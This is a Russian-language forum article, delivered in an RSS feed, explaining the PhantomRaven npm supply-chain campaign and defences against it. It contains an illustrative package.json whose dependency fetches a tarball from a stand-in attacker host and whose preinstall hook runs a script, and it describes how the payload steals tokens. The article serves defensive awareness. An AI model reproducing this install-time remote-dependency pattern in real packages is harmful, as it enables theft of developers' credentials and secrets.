<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[PhantomRaven в npm 2026: как RDD-атаки крадут токены и бьют по цепочке поставок]]></title><description><![CDATA[<p dir="auto"><img src="/assets/uploads/files/ff/ee/60/1774455541737-generated_1774455510905.webp" alt="Обложка: PhantomRaven в npm 2026: защита от Remote Dynamic Dependencies атак на цепочку поставок" class=" img-fluid img-markdown" /></p>
<p dir="auto">PhantomRaven - это свежая волна атак на npm, где злоумышленники маскируют вредоносный код через Remote Dynamic Dependencies. Пакеты выглядят чистыми, но при установке тянут payload с внешних серверов. Защищаться нужно срочно - теряются npm-токены, GitHub-ключи и CI/CD-секреты.</p>
<p dir="auto">Эта техника бьет по цепочке поставок, обходя сканеры безопасности. В 2026 году выявили новые волны с 88+ пакетами. Разработчики по всему миру уже пострадали - больше 86 тысяч установок. Пора разбираться, как это работает и как фиксить.</p>
<h2>Что такое PhantomRaven и RDD-механизм</h2>
<p dir="auto">PhantomRaven - кампания атак на цепочку поставок в npm. Злоумышленники публикуют пакеты с нулевыми зависимостями, но в package.json вместо версии dep’а вписывают HTTP-URL. При <strong>npm install</strong> пакет-менеджер сам тянет код с сервера атакующего - это и есть <strong>Remote Dynamic Dependencies (RDD)</strong>.</p>
<p dir="auto">Пакеты кажутся benign: просто hello-world скрипт. Но во время установки срабатывает preinstall-хук, который запускает скачанный payload. Никто не видит вредоносный код в реестре - сканеры типа npm audit пропускают. Первая волна стартовала в октябре 2025, а в 2026 добавились три новые с 88 пакетами. Атакующий ротирует домены, и каждый install тянет свежий код без кэша и lock’а.</p>
<p dir="auto">Кампания крадет данные из env, git-config и CI-систем. Примеры пакетов: petstore-integration-test, где версии эволюционировали от простого malware к RDD. Endor Labs нейтрализовали сбор данных без апдейтов в npm - круто, но проблема в слепых зонах инструментов.</p>
<p dir="auto">Вот как выглядит типичный package.json с RDD:</p>
<pre><code class="language-json">{
  "name": "fake-package",
  "version": "1.0.0",
  "dependencies": {
    "malicious-dep": "https://attacker.com/payload.tgz"
  },
  "scripts": {
    "preinstall": "node sneaky-script.js"
  }
}
</code></pre>
<ul>
<li><strong>RDD прячет payload</strong>: npm тянет tarball с внешнего URL, не проверяя реестр.</li>
<li><strong>Авто-выполнение</strong>: preinstall-хук запускается всегда, даже в глубоких deps.</li>
<li><strong>Нет версионирования</strong>: каждый install - новый код от атакующего.</li>
<li><strong>Обход сканеров</strong>: статический анализ видит 0 deps, audit проходит.</li>
<li><strong>Цели кражи</strong>: npm tokens, GitHub creds, CI/CD secrets из env vars.</li>
</ul>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>Аспект</th>
<th>Обычные deps</th>
<th>RDD в PhantomRaven</th>
</tr>
</thead>
<tbody>
<tr>
<td>Место кода</td>
<td>npm реестр</td>
<td>Внешний сервер</td>
</tr>
<tr>
<td>Видимость</td>
<td>Полная</td>
<td>Невидима для сканеров</td>
</tr>
<tr>
<td>Кэш/lock</td>
<td>Да</td>
<td>Нет, свежий каждый раз</td>
</tr>
<tr>
<td>Выполнение</td>
<td>Только runtime</td>
<td>Preinstall на install</td>
</tr>
</tbody>
</table>
<h2>Как payload крадет данные в PhantomRaven</h2>
<p dir="auto">Payload в PhantomRaven - это бэкдор ~28KB для x64 с анти-анализом и C2 через BNB Smart Chain. Он сканирует среду: ищет email в env, git config, npmrc. Собирает токены из GitHub Actions, GitLab CI, Jenkins, CircleCI.</p>
<p dir="auto">Малварь использует lifecycle hooks npm для stealth. Нет явного кода в пакете - всё динамически. Атакующий меняет endpoints, но паттерны повторяются: сбор creds -&gt; эксфильтрация на C2. В новых волнах пакеты генерятся AI для правдоподобных имён - разработчики клюют на знакомые названия.</p>
<p dir="auto">Пример кражи: скрипт парсит process.env на GITHUB_TOKEN, NPM_TOKEN. Потом пушит на attacker server. Koi Security первыми заметили в 2025 - 126 пакетов, 86k downloads. В 2026 эволюционировало: больше пакетов, лучше маскировка.</p>
<p dir="auto">Ключевые фичи payload:</p>
<ul>
<li><em>Сканирование env vars</em>: Авто-поиск токенов без хардкода.</li>
<li><em>Анти-анализ</em>: Обфускация, многоступенчатая доставка.</li>
<li><strong>C2 через crypto</strong>: BNB Smart Chain для эксфильтрации.</li>
<li><em>Гибкость</em>: Атакующий меняет код на лету по User-Agent.</li>
<li><strong>Масштаб</strong>: 88 пакетов в новых волнах, ротация аккаунтов npm.</li>
</ul>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>Волна</th>
<th>Пакетов</th>
<th>Downloads</th>
<th>Новинки</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 (2025)</td>
<td>126</td>
<td>86k+</td>
<td>Базовый RDD</td>
</tr>
<tr>
<td>2-4 (2026)</td>
<td>88</td>
<td>Неизвестно</td>
<td>AI-имена, ротация</td>
</tr>
</tbody>
</table>
<h2>Защита от RDD-атак в цепочке поставок</h2>
<p dir="auto">Стандартные инструменты слепы к RDD: npm audit, Snyk не тянут внешние URL. Нужно блокировать network calls на install и в CI. Включи <strong>npm config set fetch-retries 0</strong> или proxy с фильтрами. Используй lockfile строго - но RDD их игнорирует.</p>
<p dir="auto">В CI/CD: air-gapped builds, deny-net правила. Скань preinstall скрипты вручную или либой типа socket-lint. Мониторь свежие пакеты с низким score. Endor Labs показали: коллаборативный блок без апдейтов реестра работает.</p>
<p dir="auto">Переходи на pinned deps и bundle analysis. Для фронта/ноды: socket shrinkwrap для полной картины. Регулярно ротируй токены - это must-have после PhantomRaven.</p>
<p dir="auto">Практические шаги:</p>
<ul>
<li><strong>npm ci вместо install</strong>: Строго по lockfile, меньше динамики.</li>
<li><em>Блокируй lifecycle scripts</em>: <code>npm config set ignore-scripts true</code>.</li>
<li><strong>Скань внешние deps</strong>: Либы типа supply-chain-defender или custom proxy.</li>
<li><em>Мониторинг env</em>: Secrets scanning в CI, как GitHub Advanced Security.</li>
<li><strong>Аудит новых deps</strong>: Только trusted publishers, score &gt;90.</li>
</ul>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th>Инструмент</th>
<th>Защищает от RDD?</th>
<th>Плюсы</th>
<th>Минусы</th>
</tr>
</thead>
<tbody>
<tr>
<td>npm audit</td>
<td>Нет</td>
<td>Бесплатно</td>
<td>Слепо к URL</td>
</tr>
<tr>
<td>Socket.dev</td>
<td>Частично</td>
<td>AI-детект</td>
<td>Платно</td>
</tr>
<tr>
<td>Endor Labs</td>
<td>Да</td>
<td>Коллаб</td>
<td>Enterprise</td>
</tr>
</tbody>
</table>
<h2>Почему PhantomRaven меняет правила игры</h2>
<p dir="auto">PhantomRaven показал дыры в npm: динамические deps - слепая зона для всех. Атакующие эволюционируют быстрее девайсов - AI генерит пакеты, ротация infra. В 2026 это не разовая акция, а ongoing threat с новыми волнами.</p>
<p dir="auto">Осталось копать: как AI усиливает typosquatting и что с другими менеджерами вроде pnpm/yarn. Подумай о full supply-chain visibility - от dev машины до prod. Традиционные сканеры устаревают, пора к runtime protection и behavioral analysis.</p>
]]></description><link>https://forum.exlends.ru/topic/1948/phantomraven-v-npm-2026-kak-rdd-ataki-kradut-tokeny-i-byut-po-cepochke-postavok</link><generator>RSS for Node</generator><lastBuildDate>Sat, 17 Oct 2026 04:06:01 GMT</lastBuildDate><atom:link href="https://forum.exlends.ru/topic/1948.rss" rel="self" type="application/rss+xml"/><pubDate>Wed, 25 Mar 2026 16:19:01 GMT</pubDate><ttl>60</ttl></channel></rss>